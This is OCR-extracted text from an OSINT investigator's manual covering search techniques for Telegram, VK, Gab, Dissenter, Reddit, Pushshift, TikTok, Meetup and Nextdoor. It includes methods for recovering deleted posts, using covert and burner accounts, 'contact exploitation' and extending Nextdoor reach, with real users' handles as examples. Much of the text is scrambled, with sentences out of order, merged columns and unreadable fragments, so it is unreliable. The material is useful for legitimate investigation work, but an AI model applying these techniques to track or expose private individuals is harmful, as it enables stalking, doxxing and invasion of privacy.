found Telegram.im helpful when searching channels, users, and groups by name. It prov graphical interface and robust search feature. Searching "osint" through the standard search option produceo thirty results possessing usernames and bio details which included the term osint. Filtering users by the term "osint" revealed seven accounts of interest. 1 can also filter Channels and Groups by keyword. We now know that locating someone's social network profile can reveal quite a lot about them. Just knowing a target name can make use of the people search engines that will identify places to seek more information. Unfortunately, sometimes the investigator does not know die target's name. A common scenario is an investigation about some type of event. This could be a specific violent crime, a bomb threat on a campus, or inappropriate chatter about a particular business. All of these scenarios require search engines that monitor There have been several "hacks" in the past that would allow a type of "back door entry" into a profile that is marked as private. By the time these methods become known, the vulnerability’ is usually corrected by the social network host. Websites or applications that publicly claim to be able to access this secured data are most often scams or attempts to steal your own passwords. In my experience, it is best to avoid these traps and focus on rinding all available public information. /\t the time of this writing, an application had recently surfaced that claimed to be able to obtain all information from within private Facebook accounts. The program did not work, but installed a malicious virus instead. If it seems too good to be true, it probably is. Previously, 1 explained how to add cell phone numbers and email addresses as contacts to an Android virtual machine in order to supply them to various apps. When programs received the numbers directly from the contacts list, it believed the contacts were "friends"; therefore, they often identify the names and accounts associated with each number or email. 1 refer to this technique as contact exploitation, and the Android technique is not the only option for this type of activity’. This technique works throughout several social networking environments. I keep covert Gmail accounts solely for adding my target's contact information and asking networks to find friends based on this data. 1 am often presented with profiles in my target's true name as well as alias accounts. 1 believe this is the most robust Telegram Channel search option currently available. A keyword search presents channels which are associated with the terms and immediately displays analytics including subscribers, growth, and post reach. Clicking on the channel name presents further details about post behaviors and history. Figure 13.08 displays an example. Social Searcher (social-searcher.com) International Social Networks Russia: VK (vk.com) Russia: Odnoklassniki (ok.ru) site:ok.ru "michael smith" 230 Chapter 13 VK is basically a Russian version of Facebook. You can create a new free account or log in using your existing Facebook credentials. Most search options function without logging in to an account. The page at vk.com/people offers advanced search options which allow filtering by location, school, age, gender, and interests. Most profiles publicly display a user's birthday, location, and full photo collection. Odnoklassniki works similar to most other social media platforms. It is intended to be a way to communicate with friends, as well as an opportunity to network with other people with similar interests. The service is concentrated on classmates and old friends, and translates to "Classmates" in Russian. The official search page is located at ok.ru/search, but you will need to create an account to take full advantage of the options. I have found a targeted site search on Google to be most effective. Searching for Michael Smith would be conducted as follows. social network traffic. There is an abundance of these types of sendees. Some will work better on reactive investigations after an incident while others show their strength during proactive investigations while monitoring conversations. Many of the sites mentioned here will find the same results as each other. Overall, some of the strongest methods of searching social network traffic have already been discussed in the Facebook and Twitter chapters. Searching for traffic at the source, such as on twitter.com, will usually provide more accurate and updated content than on an aggregated website of multiple sources. Furthermore, searching specific sen-ices through Google or Bing may sometimes quickly locate results that would be difficult to obtain anywhere else. The use of the site operator previously explained will take you far. Aside from direct searches on social networks and targeted search engine queries, there are other options. The accuracy of the sendees mentioned in the rest of this chapter varies monthly. Hopefully, you will find some of these websites to have value in your investigations. I believe that the options in this chapter should be used to supplement, not replace, the results obtained from previous methods. I had previously discouraged users from attempting searches on the first version of Social Searcher. Since then, I have begun to rely on their free sendee to digest data located on the main social networks. You can provide any keywords, usernames, or terms and receive the most recent results from Facebook, Twitter, Instagram, and the overall web. It allows email alerts to be created for notification of new content matching your query. One of the unique features of this website is the free ability to export search results into CSV format. This output contains the username, date & time, and entire message among other information. Having this in a spreadsheet format can be incredibly beneficial. This document also included dozens of Reddit and other network posts. The document could be imported into any other collection system. While this book is heavily focused on social networks popular in the United States, they tend to be fairly global with an international presence. This is especially true for Facebook and Twitter. However, there are many social networks which are not popular within the United States that are the primary networks to local residents abroad. This section attempts to identify and explain the most popular foreign networks that may be used by your international targets. China: Qzone (qq.com) site:user.qzone.qq.com "michael smith" China: Renren (renren.com) site:renren.com "michael smith" Latin America: Taringa (taringa.net) Newer Social Networks These social networks repi Social Networks: General 231 taringa.net/buscar/posts/?q=OSINT (Searches OSINT within post comments) taringa.net/buscar/comunidades/?q=OSINT (Searches OSINT within communin’ posts) taringa.net/buscar/shouts/?q=OSINT (Searches OSINT within "Shout" posts) taringa.net/buscar/imagenes/?q=OSINT (Searches OSINT within images) site:blog.renren.com "michael smith" (Filter for blog results only) site:page.renren.com "michael smith" (Filter for profile results only) site:zhan.renren.com "michael smith" (Filter for news results only) If the results are too overwhelming, you can use the following structure to filter the content >resent only a portion of the available options. Overall, resort to custom Google searches when new services appear. As I write this, I am monitoring new sites such as Parler (parler.com), Gab (gab.com), and Gettr (gettr.com), all of which claim to be the next generation of social networks. The search techniques previously presented throughout this book also apply to these new platforms. Let's briefly dissect each. Literally translated as "Everyone's Website", Renren is a Chinese remake of Facebook. It is one of the most popular Chinese social networks. Users earn points for activities such as logging in, posting status messages, commenting, and receiving comments. As users earn points, their level on the site increases, which unlocks special emoticons, profile skins, and the ability to go "invisible" and view other users' profiles without their knowledge. The home page does not allow profile search, but browse.renren.com does. Clicking on any profiles from this query will prompt you to sign in to an account However, a targeted site search should eliminate this. The following Google search identified several various pages that contained Michael Smith. Qzone is typically used as a blogging and diary platform. Most of the loyalty to the platform is due to the popularity of the instant messaging tool "QQ". This is a one-to-one messaging platform, so opportunities for public search are not present. The search options on qq.com pages provide results similar to Chinese search engines such as Baidu. The searches are not restricted to the social network profiles. I have found the following search on Google or Baidu to work best for English queries. Replace "michael smith" with your target's real name or username. Taringa has a presence in every country in the Spanish-speaking world. Its main markets are Argentina, Spain, Colombia, Chile, Peru, and the U.S. Latino community. The search functionality is fairly straightforward, but the following URLs may produce more efficient results. The links connect direcdy to profiles, which can be browsed as normal. These will appear very similar to Facebook profiles. The upper-right portion of a profile will announce the date of the user's last login. Most of the profile details arc public, and do not require any type of URL trickery in order to expose the details. Parler is indexed by Google, so the following queries should identify data of interest. Once you identify a target profile, such as "inteltechniques”, the following should disclose details. 232 Chapter 13 https://gab.com/inteltechniques https://gab.com/inteltechniques/followers https://gab.com/search/bomb/top https://gab.com/search/bomb/latest https:// gab.com/search/bomb/users https:// gab.com/search/bomb/groups https:// gab.com/search/bomb/topics https://gab.com/hash/bomb https://gab.com/hash/bomb/date https:// gab.com/hash/bomb/score https:// parler.com/profile/inteltechniques/ https://parler.com/profile/inteltechniques/posts https://parler.com/profile/inteltcchniques/comments https://parler.com/profile/inteltechniques/media Gab has been widely described as a haven for extremists including neo-Nazis and white supremacists, and has attracted users who have been banned from other social networks. Gab is not indexed well by Google, but we have the following direct query URLs assuming your target is "inteltechniques" and your keyword of interest is "bomb". site:parler.com "keyword" site:parler.com/post/ "keyword" site:parler.com/profile/ "keyword" Gettr is a Twitter clone targeted toward far-right political beliefs. The structure of all accounts and feeds follows the Twitter examples previously presented. The following would apply if I were a member. https://www.gettr.com/user/inteltechniques https://www.gettr.com/ user/inteltechniques/followers https://www.gettr.com/user/inteltechniques/following https:/1 www.gcttr.com/search?q=to:inteltechniques https://www.gettr.com/search?q=from:inteltechniques https:/1 www.gettr.com/user/inteltechniques/comments https://www.gettr.com/user/inteltechniques/medias https://www.gettr.com/ user/inteltechniques/likes There is no way to predict which social networks will be the next big thing. However, possessing a sharp set of Google and OSINT skills will take you far. If desired, you could add these options to the custom search tools explained in Section One. Until I see wide-spread usage of these platforms, I ■will wait. Dissenter https://dissenter.com/discussion/begin?url=https://www.twitter.com/aoc In this demonstration, I was presented the following URL, partially visible in Figure 13.10. Social Networks: General 233 https://dissenter.com/comment?url=https://twitter.com/aoc&v=begin&uid=5c75057faaf6295f2bd3847c&s =latest&p=1 &cpp=10 This is the static URL for the most recent comments made within Dissenter about my target Twitter profile. I can bookmark this URL and visit it from within any web browser to monitor for new activity. If desired, I could set up a Google Alert for change notifications. https://dissenter.com/comment?url=https://twitter.com/aoc&v=begin&uid=5c75057faaf6295f2bd3847c&s =oldest&p=1 &cpp=50 • While in the Dissenter Browser, navigate to any popular URL, such as our target. • Click the green Dissenter "D" menu and load the comments. • Right-click within the Dissenter overlay and select "Inspect". • Click the "Network" tab within the new window and return to the overlay. • Click the "Latest" tab to see the most recent posts. • Return to the Inspector window and look for an entry beginning with "comment". In 2019, Gab launched a browser extension and sendee called Dissenter which allowed users to make comments on any website via a Gab overlay. This allowed users to bypass any type of moderation from other sendees. A few months later, the browser extensions were removed from the Firefox and Chrome sites for violation of their policies, but the service lives on through a website and custom browser. This active community mostly posts hateful comments about a site's content including threats toward the people associated with the page. Let's take a look at a real example. I will use the Twitter profile available at https://www.twitter.com/aoc for all demonstrations. The following address displays the active "Discussion" page for this profile. Documenting all of the posts is a challenge. The overlay presents ten entries at a time and forces click of a button to see more. Fortunately, we can use the previous method to simplify’ data collection. Take another look at the URL obtained during the previous technique. Let's modify two portions of it. In the following URL, 1 changed "&s=latest" to "&s=oldest" and "&cpp=10" to "&cpp=50". This loads all comments in chronological order and displays 50 comments per page instead of 10. Clicking "Top", "Controversial", "Latest", and "Oldest" displays various comments from Gab users about this person. However, this page identifies only six posts, which is far from complete. Because of this, I never rely solely on this method. Instead, I focus on the Dissenter Browser (github.com/gab-ai-inc/gab-dissenter- extension). This standalone web browser is based on the Brave fork of Chromium and is maintained by Gab. At the time of this writing, only the open-source files were available for compiling your own application. I present this section in 2022 in hopes that the project will return with downloadable packages. 1 would never consider installing it on my host computer, but it works well within a secure virtual machine. 1 downloaded the "deb" file for Linux from dissenter.com into the Downloads folder of my Ubuntu VM; right-clicked the file; and selected "Open with Software Install". This installed Dissenter and it was ready for use. I opened Dissenter and navigated to my target Twitter profile. 1 then clicked the green "D" to the right of the URL bar. This presented an overlay window with 231 comments about the person in the profile. Clicking "Latest" displayed the most recent posts, visible in Figure 13.09. Clicking the username presents that profile on Gab for further investigation. This information may be valuable, but it is not easy to monitor. You would need to reload the profile through the Dissenter Browser and refresh the overlay every time. Instead, let's identify the best URL. ■ __ This woman is mentally unstable. ©aO Tweets Figure 13.09: A Dissenter Browser comment about a Twitter profile Headers x Preview Cookies Timing Response Initiator gggggggggQgHSS Figure 13.10: A Dissenter comment URL. 234 Chapter 13 Oldest Controversial Top https://dissenter.com/comment?url=https://twitter.com/aoc&v=begin&uid=5c75057faaf6295f2bd3847c&s =oldest&p=2&cpp=50 Name [_j bootstrap.cs$?v=1.0.17 Q comment?uri=https://twitter... a infernocop.png ▼ General Request Method: GET Alexandria Ocasio-i @AOC US Representative,NY-14 American should be too pc © Bronx + Queens. NYC 2,923 Following 10.6M f This does not present all of the comments, so 1 must create a new URL for the next 50. In the following address, I changed "p=l" to "p=2". This takes us to the second page of comments. I could create links with "3", "4", and "5" in order to collect all comments. Since these are standard web pages, any screen capture utility should work. 1 offer a warning about the posts. They are inappropriate to say the least. However, anyone tasked with monitoring of hate speech and threats must be aware of this resource. The users possess a sense of superiority and invincibility-. infernoCop Reddit (reddit.com) Reddit Search https://www.reddit.com/search?q=OSINT https://www.reddit.com/search?q=title:OSINT of the Subreddit, you https://www.reddit.com/r/OSINT/ https://www.reddit.com/user/intel techniques Online Communities 235 Ch a pt e r Fo u r t e e n On l in e Co mmu n it ie s can navigate directly with the following structure. If you know the name If you locate a username of interest while searching Reddit, you can load all of that user's posts and comments by clicking on the name. Alternatively, the following URL can be used. The results from such a generic search can be quite overwhelming. With the following URL, we can force Reddit to only deliver results if our search term is within the tide of a post, and not simply present within comments. The official search option on Reddit has been plagued with problems since inception. The search field in th; upper right of ever}' page will allow you to query any terms you desire, but the results have not always been optimal. In 2016,1 saw the search function improve drastically, and even with some added new features. XXTien typing terms into the search field on any Reddit page, the results will be from all pages, including thousands of Subreddits. While you should understand this option, and even execute target searches from the home page on occasion, we should consider some advanced search options. We can replicate that standard keyword search within a URL. This is beneficial for bookmarking searches of interest that need checked often. The format for a search about OSINT is as follows. Contrary to some previous editions, I now start this chapter with Reddit This social news aggregation, web content rating, and discussion website went from a place for those "in-the-know" to a resource often cited on mainstream media. More users than ever post, reply to, and read the user-submitted content in the form of either a link or text, each submitted to a specific category known as a Subreddit. Other users then vote the submission up or down, which is used to rank the post and determine its position on the website's pages. The submissions are then discussed on the "comments" page of every entry. The Subreddits cover practically any topic you can imagine. If your target has the slightest interest in the internet, he or she has probably been to Reddit. As of 2020, there were over 1,200,000 Subreddits and over 350 million registered users. Online communities are very similar to social networks. The thin line which has separated the two is slowly disappearing. While social networks cater to a broad audience with many interests, these communities usually relate to a specific service or lifestyle. Some online communities do not get indexed by search engines; therefore, the presence of a target's participation will not always be found through Google or Bing. Any time that a target's interests or hobbies are located through the previous search techniques, you should also seek the online communities that cater to that topic. This can often identify information that is very’ personal and private to the target. Many people post to these communities without any regard to privacy. Some communities require registration to see the content, which is usually free. Occasionally, a cached version of the pages on the site is available without registering. This chapter will provide methods of infiltrating these communities to maximize the intelligence obtained. If you want to see a summan’ of all original posts, die following URL can be used. https://www.reddit.com/user/inteltechniques/posts/ If you want to see a summary of all original comments, the following URL can be used. https://www.reddit.com/user/inteltechniques/comments/ site:rcddit.com "surveillance" ’’Old" View Deleted Content 236 Chapter 14 site:reddit.com/r/osint "surveillance" site:redditcom/user/inteltechniques "surveillance" webcache.googleusercontent.com/search?q=cache:https://www.reddit.com/user/mikeb web.archive.org/ web/*/https://www.reddit.com/user/mikeb https:// www.reddit.com/search?q=site:inteltechniques.com ever been posted as a submission link, the Each of these queries could be replicated within both Bing and Yandex. While Google is good at indexing new content within Reddit, I have witnessed better performance from Yandex when the content was associated with pornography and other adult content. You may get lucky with these queries, but the results are often limited. These will display the historic view of a Reddit account at a specific moment in time. While this may provide evidence for your investigation, you should also identify any further deleted content. In order to dig much deeper, we will rely on Pushshift. If you have a target website, and you want to know if the URL has following URL will display all results. If Reddit is not providing the results you think you should be receiving, you should return to our previous instruction on Google searching. The following query would identify any posts, categories, or users that included the word "surveillance". If you have identified any Reddit content of interest, you should consider checking any online third-part}’ archives. These historic representations of an account will often disclose previously deleted or modified content. It is extremely common for Reddit users to edit or delete a comment entirely, especially if it was controversial. I have investigated numerous Reddit accounts where the evidence I expected to find was not present. First, I always search the standard archive options which were previously explained. The following direct URLs would attempt to display historic versions of a Reddit user’s profile. You could replace the Reddit user URL within each of these with a Subreddit address or Reddit post URL. Since 2018, Reddit has been changing the layout and function of their website. This also includes many additional trackers which collect information about your usage. I prefer the "old" view of Reddit, which can be achieved by replacing "www" with "old" within any Reddit link. This is personal preference, and I believe the old view provides a more compressed experience which displays more content within each page. If you wanted to force Google to restrict its searching to a specific Subreddit, such as OSINT, you would add "/r/osint" after the first portion. If you wanted to restrict the searching to a specific user, you would add "/user/inteltechniques" to the end. The following are two examples. Pushshift (filcs.pushshift.io) https://api.pushshift.io/reddit/search/comment/?author—intekechniques IntcITechniquec commented on Hl guys any reading material to get Into oslnt so I can teach my self. Figure 14.01: A Reddit post prior to deletion. | hmm... u/IntelTechnlques hasn't posted anything | Figure 14.02: A Reddit post after deletion. Figure 14.03: A Pushshift result of a deleted post. https://api.pushshift.io/reddit/search/comment/?author=inteltechniques&sort=asc&size=1000 If you arc seeking a specific post with unique wording, yot https://api.pushshift.io/reddit/search/comment/?q=inteltechniques https://api.pushshift.io/reddit/search/comment/?q=inteltechniques&subreddit=privacy Online Communities 237 body: created_utc: IntefTechnlques 6 points • 1 month ago I estimate 10% of the book is outdated/lnaccurate. Mostly the Facebook seaion Reply Share ••• "I estimate lO't of the book is outdated/inaccurate. Mostly 1563588952 If you arc seeking a specific post with unique wording, you can accomplish this with the following URL. This example would identify public and deleted posts mentioning my username. This URL presented a lot of information about my deleted posts, but I was most interested in the data visible in Figure 14.03. It displayed the entire deleted comment and the subreddit location. Furthermore, it provided a Unix time of 1563580052, which converts to Friday, July 19,2019 5:47:32 PM GMT. This URL will display the most recent 25 posts, regardless of whether they are still on Reddit or have been removed. This is a great start, but our target may have thousands of posts. The following URL adds two options at the end to force sorting in ascending format and display 1000 comments within a single page. Each of these searches may present too much content and may not be easy to digest. We can filter unwanted content in order to produce less results. The following would repeat our previous search, but only display content from the Subreddit Privacy. This huge archive contains over 500GB of data including the most publicly posted content on Reddit since 2005. This provides us an amazing collection of most deleted posts. The next time your target wipes out various Reddit posts before you can collect the evidence, Pushshift may reveal the deleted content. This site allows you to download the entire archive, but that may be overkill for most users. Instead, we can take advantage of their robust application programming interface (API). First, let's assume that you are only interested in a specific user that has deleted all content. 1 will use my own account as a demonstration. Figure 14.01 displays a partial post which 1 created on Friday, July 19, 2019 at 5:47:32 PM GMT. On September 1, 2019,1 deleted all of my posts, including that initial content. However, Figure 14.02 displays the result I saw on this same date at https://www.reddit.com/user/inteltechniques. As I wrote this in 2020, the following direct URL queried the entire data set for any posts that have been archived by Pushshift for user inteltechniques. Figure 14.04: A Twitter post announcing deletion of a Reddit account. Images https://imgur.com/r/nctsec 238 Chapter 14 https://api.pushshift.io/reddit/search/comment/?author=Defaultyboi6829&sort—asc Note that all of these searches only identify results which are comments and not user submissions. A submissio is a new topic, and a comment is a post within a specific submission. In order to replicate all of these^q for user submissions, simply replace "comment" in each example to "submission”. The following displays my deleted submissions. If you wanted to limit results to a single user with a timeframe between 5 days prior to your search and 30 days prior to your search, you would navigate directly to the following URL. https://api.pushshift.io/reddit/search/comment/?author=inteltechniques&after=30d&bcfore=5d In order to demonstrate the value of this, consider the following random example. On November 8, 2020,1 searched on Twitter for "reddit account" "deleted". The first result was the Tweet seen in Figure 14.04. Reddit user Defaultyboi6829 posted on Twitter "Good thing I deleted my Reddit account". On November 10, 2020,1 navigated to the following URL, which displayed 25 of the most recently deleted comments. His latest post was a disagreement about Minecraft with another user. Evidence of this interaction is not present anywhere on the live view of Reddit. now self-hosted, but I still see a lor Cp^nin^ *rna8es a°d memes. The majority of linked images on Reddit are can be very beneficial when you ° ’mages ^ostc^ on a photo-sharing site called Imgur (imgur.com). This posted a photo to Imgur, then link an >mage post that has been removed from Reddit. If a user will no longer have a link to the im & j Post»an^ then deleted the post, the image is still online. You browse all of the Reddit images on^’ 30 ra"^on}b' searching Imgur will be unproductive. Instead, we can images, in reverse chronological 1 m^Ur a ^*rect URL. The following address will display the current load older images. Cr> assoc,atec^ with the Subreddit titled NetSec. Scrolling will continuously If you find an image of interest, you should consider searching the name of the image within Pushshift. Lets run through an example. Assume that you suspected your target was posting images of his antique vehicle on the Subreddit /r/projectcar, but he deleted the posts before you could find them. You should first navigate to the following page of related images on Imgur. https://imgur.com/r/projectcar https://api.pushshift.io/reddit/search/submission/?author=inteltechniques In a moment, 1 will demonstrate my offline search tools which you can use to simplify this entire proc can also experiment with an online tool called RcdditSeacrh (redditsearch.io). The ability to extra n.tof content from a community as large as Reddit is a substantial OS1NT technique. 1 encourage you Reddit for new features and changes in order to update your own tools as needed. Good thing I deleted my Reddit account 11:34 AM • Nov 8, 2020 • Twitter for iPhone Assume you then located You should right-click URLs search this image within both submissions and The second URL provides the following data within the result. https://imgur.eom/r/funny/ODnElaB http://karmadecay.com/imgur.com/r/funny/ODnElaB http://i.rarchives.com/?url=http://i.imgur.com/mhvSa.jpg Investigation Subreddits Reddit Bureau of Investigation (reddit.com/r/rbi) Author: mrmoto1998 body: [Obligatory pic of the moldsmobile](https://imgur.com/J0C7Mi9.jpg) created_utc: 1568129504 link: /r/projectcar/comments/d296fl/tore_up_some_carpet_in_the_moldsmobile/eztg3jk/ Note that Karma Decay blocks pornographic images. If your investigation involves any adult photos, you will need to use a different service called NSFW Reddit Reverse Image Search fi.rarchives.com). Enter any image here and it will search for other copies within Reddit. You can also submit directly via URL as follows. There are many Subreddits that can provide a unique benefit to an investigator, three of which are outlined here. There are several versions of each of these, but those that I present here have the most history of being helpful. You will find additional options with a bit of searching. The filename of the image is J0C7Mi9. The following two comments within all of Reddit, including deleted posts. a potential suspected vehicle image at the following address. https://imgur.com/J0C7Mi9 on the image and select "View Image" to open view the full-size version in a new tab. https://i.imgur.com/J0C7Mi9.jpg This active community helps other Reddit users solve crimes and other problems. Internet gurus will help find deadbeat parents; computer specialists will aid in tracking stolen devices; and private investigators will assist with investigation techniques. I have used this option several times during my career. The most successful cases involved hit and run traffic crashes. In 2013, I assisted a northern Illinois police department with the https://api.pushshift.io/reddit/search/submission/?q—J0C7Mi9 https://api.pushshift.io/reddit/search/comment/?q=J0C7Nii9 You can navigate to karmadecay.com, supply this address, and immediately see if that image has been posted to any other locations within Reddit. If you wanted to bookmark a direct URL for future checking, you could use the following to obtain the same result. You now know the author, date, and original link of the post on Reddit. The previous example may be an extreme case scenario, but the possibilities are endless. The important message is to search any keyword data through Pushshift when your investigation is associated with Reddit. Next, you should consider a reverse image search. This will be explained in detail later, but you should know now that you have a Reddit-specific reverse image search option called Karma Decay. Assume that you located an image on Imgur at the following URL. Online Communities 239 Pic Requests (reddit.com/r/picrequests) What Is This Thing? (rcddit.eom/r/whatisthisthing) 4chan (4chan.org) 240 Chapter 14 While Reddit seems t----- r ’ J ... rapidly growing. These include 4chan, Hacker News, and othc options, which can ' investigation of a fatal car crash. The offender fled the area and an elderly woman died. Three small pieces of the offending vehicle were left at the scene. After posting this infonnation to local media outlets, I submitted it to RBI. Within minutes, several vehicle body shop employees were tracking down die parts and eventually tied them to a specific year and model of a 10-year-old vehicle. This information led to the arrest of the subject /Xnother victim of an unrelated hit and run traffic crash posted a blurry photo of the suspect vehicle and asked for assistance. Within hours, a Reddit user identified the license plate through digital correction techniques. now and hold on tn tec. nlclues on Reddit, please consider a few things. You should create a free account use accounts tboe * reat2ng a new account and asking for help minutes later can be viewed as rude. I like to Reddit with a histnX^^ tO *Ve been eswblished a long time ago. If you are visible as an active member of be demanding in v ° Comme”ts’ m’gbr encourage other active members to assist you. You should never skill set that cannnr C,UC,ts’ c™cmber, these people are volunteering to help you. Many of them possess a digital i^Xe" releas^d^©5^^^6 1 neVCr Up,r th-is "Ot PubIic,y ,f alreadvon a nnki; • i e Prcss’ * ^ave no problem releasing them to Reddit. If my target image is on a pubhcsoaal network, I see no reason it cannot be linked trough Reddic. A constant frustration in my work is blurry, out of focus, or grainy digital images. Commonly, I will receive surveillance photos that are too dark or light to identify anything of value in the image. Occasionally, I will find images on social networks that could be beneficial if they were just a touch clearer. Pic Requests saves the day. This Subreddit consists of digital photo experts that can perform Photoshop magic on practically any image. Many Reddit users will request old photos colorized, torn photos digitally repaired, or unwanted subjects removed from an image. I have uploaded several surveillance images to this group with a request for assistance. The users have been incredibly helpful by identifying digits in blurred license plates and turning dark surveillance footage into useful evidence. to get most of the attention in this type of community, there are alternative options that are pc p tnrliiJo ethers. I will briefly discuss the most common search be replicated with my Custom Communities Tool that is explained later. 4chan is a mess. It is an image-board website and users generally post anonymously, with the most recent posts appearing above the rest. 4chan is split into various boards with their own specific content and guidelines, modeled from Japanese image-boards. The site has been linked to internet subcultures and activism groups, most notably Anonymous. The site's "Random" board, also known as ”/b/", was the first board to be created, and is the one that receives the most traffic. This site is full of bullying, pornography, threats, and general illicit behavior. It has also been the focus of numerous investigations. There is no search feature. In this scenario, we I am consistently amazed at the results from this Subreddit. What Is This Thing is a place where you can post a digital photo of practically anything, and someone will know exactly what it is while providing detailed and cited additional information. Many users post images of old antiques and intricate items hoping to identify something valuable in their collection. I use it to identify tattoo meanings, graffiti, suspicious items mailed to politicians, vehicle parts, and just about anything else that is presented to me during my investigations. Real World Application: In 2012,1 was asked to assist with a death investigation of a "Jane Doe". I submitted a sanitized version of a tattoo on her back that appeared to be Chinese symbols. Within five minutes, a Reddit user identified the symbols, their meaning, and references to the region of China that would probably be related to my investigation. A reverse image search of his examples led to information about a human trafficking ring with which the victim was associated. This all occurred over a period of one hour. Hacker News (news.ycombinator.com) TikTok (tiktok.com) https://www.tiktok.eom/@inteltechniques https://www.tiktok.com/search/user?q=osint Many users "tag” their posts with a keyword. The following displays posts which include the tag "osint". https://www.tiktok.com/tag/ osint https://www.tiktok.com/search?q=osint If you want to isolate this search to only display videos which include ’’osint", the following URL would apply. https://www.tiktok.com/search/video?q=osint site:tiktok.com osint Active Search: http://4chansearch.com/?q=OSINT&s=4 Archives Search: http://4chansearch.com/?q=OSINT&s=7 Archives Alternative: https://archive.4plebs.org/__/search/text/OSINT/order/asc/ Google Search: https://www.google.com/search?q=site:4chan.org%20OSINT If you suspect your target possesses a username which includes "osint", but do not know the exact profile name, the following URL should assist. It displays every username which includes "osint" anywhere in the name. Text Search: https://hn.aIgoha.com/?query=OSINT&type=all Username Search: https://news.ycombinator.com/user?id=inteltechniques User Posts: https://news.ycombinator.com/submitted?id=inteltechniques User Comments: https://news.ycombinator.com/threads?id=inteltechniques User Favorites: https://news.ycombinator.com/favorites?id=inteltechniques Google Search: https://www.google.com/search?q=site:news.ycombinator.com+OSINT will use 4chansearch.com. The following examples are direct URLs that take advantage of this third-part}- search option, each using "OSINT" as a search term. While this site is targeted toward a tech-sawy community, general discussion topics are followed by millions of users daily. Fortunately, we have a lot of control with searching specific posts, keywords, users, and favorites. The following searches locate data based on a keyword (OSINT) and user (inteltechniques). The search field within TikTok pages can be unreliable. Instead, we can formulate a URL with search terms. The following presents posts which include "osint" within the original post. TikTok is a Chinese video-sharing social networking service which has become viral globally. It is used to create short music, lip-sync, dance, comedy, and talent videos of 3 to 15 seconds, and short looping videos of 3 to 60 seconds. Posts accept and display comments, both of which require login for access. There is a limited native search within the website, but we can formulate URLs to gain direct access to targeted details. The following URL structure displays the user profile for "inteltechniques". Google indexes individual TikTok posts, so the following search query would present results which include the term "osint" within any post or author profile. This can be beneficial to discover deleted posts. Online Communities 241 Some TikTok users will broadcast live. Any current live streams can be found with the following URL. https:/ / www.tiktok.com/live https://www.tiktok.com/@willsmith/video/7032216839878905134 1637781925~tplv chapters (Instagram). We Wed Nov 24 2021 19:25:25 GMT+0000 These three sites confirm the following details about my target 242 Chapter 14 https:/1 mixemo.space/analytics/tiktokUser/vancityreynolds https://cxolyt.com/user/vancityreynolds/full https://mavckite.com/mave/stats?vancityreynolds "authorld" (6727327145951183878) "uniqueld" (willsmith) "nickname" (Will Smith) Once you find your target, navigating through the posts is similar to the techniques previously mentioned with Instagram. However, we do have a few unique offerings. Each profile possesses three identifiers within the source code view of the page. In the following example, I searched the following text within the source code view of the TikTok page of @willsmith, with the result in parentheses. This will usually include a video which can be played in full screen by clicking on it. Once in the player view, you can right-click the video and save it natively as an MP4 file. Most videos display an upload date within the content, but I always prefer to obtain a full date and time of upload. To do this, right-click a post and choose to view the page source. When this new tab of text opens, search (ctrl-f or emd-f) for tplv". This should present a result similar to the following. The numbers directly before this search term represent a Unix time stamp, which was explained in previous can convert this number at unixtimestamp.com, which produces the following result We now know the exact date and time of the post. Everything presented about TikTok up to this point should not require an account However, accessing comments within a post requires you to be logged in. I always recommend a "burner" account which is associated with a Gmail address or social network connection. When you attempt to create an account, you will see a list of accepted associations. Once you are logged in, you should see any comments included with the target post. Each post presents a username with hyperlink; the comment from that user; the date of the comment; the number of "likes"; and an option to expand further comments to that comment. Screen captures may work well for unpopular posts, but posts with many views may be a problem. Export Comments (exportcomments.com) will extract the first 100 comments from any post. A premium account is required to download larger content. There are several "scraper" applications and Chrome extensions which claim to aid in comment exportation, but 1 have found them all to be unreliable. There are numerous TikTok services which provide analytics on target profiles. I prefer those which allow submission within the URL, such as the following, which display results for "vancityreynolds" (Ryan Reynolds, who is an owner of Mint Mobile, which may be of interest to listeners of my show). Note that nicknames are not unique. They are vanity names which can be reused. Wc can now search the user number within search engines in order to identify additional posts which may no longer be present within the TikTok website. Once you identify an individual post, it may appear as follows. Nextdoor (nextdoor.com) Meetup (meetup.com) Online Communities 243 6.8M Followers 3 Following 18M Likes 43.7k Average Post Comments 39.4M Average Plays 108k Average Shares 13% Engagement Rate Latest Bio Details Profile Image All Recent Posts Daily Engagement Rate Changes Follower Growth Chart Daily Performance Score Meetup consists of users and groups, with all communication related to events where people actually meet in real life. Each user creates a profile that includes the person's interests, photos, and username. A group is created by one or more users and is focused on a general interest in a specific location. An example would be the "Houston Dog Park Lovers", which is a Houston-based group of dog owners that meet at dog parks. Each group will post events that the members can attend. The majority of the events posted on Meetup are visible to the public and can be attended by anyone. Some groups choose to mark the details of the event as private and you must be a member to see the location. Membership is free and personal information is not required. While most of these details will not be helpful to an investigation, they should all be documented. I have included most of the TikTok search features within the Communities Search Tool presented in a moment We currendy see TikTok as part of every investigation which is associated with a target under the age of 20. It is important to understand this platform and the many ways of exploring the content Name Search (John Morrison): site:meetup.com inurkmember john morrison Event Search (Protest): site:meetup.com inurkevents Protest Post Search (Protest): site:meetup.com inurkdiscussions Protest Google Keyword Search (OSINT): site:meetup.com OSINT You can search Meetup by interest or location on practically any page. Once you locate a group page, you can browse the members of the group. This group page will also identify any future and past events sponsored by the group. These past events will identify the users that attended the event as well as feedback about the event. This site no longer offers the option to search by username. In order to do this, you will need to use a search engine as described in a moment. A user profile will often include links to social networks and messages from associates on the website. Additionally, these profiles will identify any future Meetup events that the user plans on attending. Because of this, the site has been used in the past by civil process servers, detectives, and the news media to locate people that had been avoiding them. The following Google search structures have been most helpful in my experience. While logged in to a Nextdoor account, navigate to "Settings" then "Neighborhoods". By default, you can only sec activity within your specific neighborhood. However, clicking the "Explore Neighborhoods" button should present surrounding areas which you can join. In my experience, you can usually see the majority of your county by joining all available groups. This popular online community allows for people within a specific neighborhood or geographical area tc communicate privately within a controlled space. People within a neighborhood in Texas cannot see posts from a neighborhood in Illinois. In order to join a specific neighborhood, one must either receive an invite from another neighbor or request a physical invite be sent via postal mail to an address within range. This presents problems for OSINT. If you are investigating posts within your county, there are a few things you can do to extend your range. Dating Websites 244 Chapter 14 Adult Friend Finder (adukfriendfinder.com) Farmers Only (farmersonly.com) Elite Singles (elitesingles.com) Zoosk (zoosk.com) Friendfindcr-X (friendfinder-x.com) Badoo (badoo.com) are the current most popular services. The list of popular dating websites grows monthly. The following Match (match.com) Plenty of Fish (pof.com) eHarmony (eharmony.com) OK Cupid (okcupid.com) Christian Mingle (christianmingle.com) Ashley Madison (ashleymadison.com) • You must have an account to browse 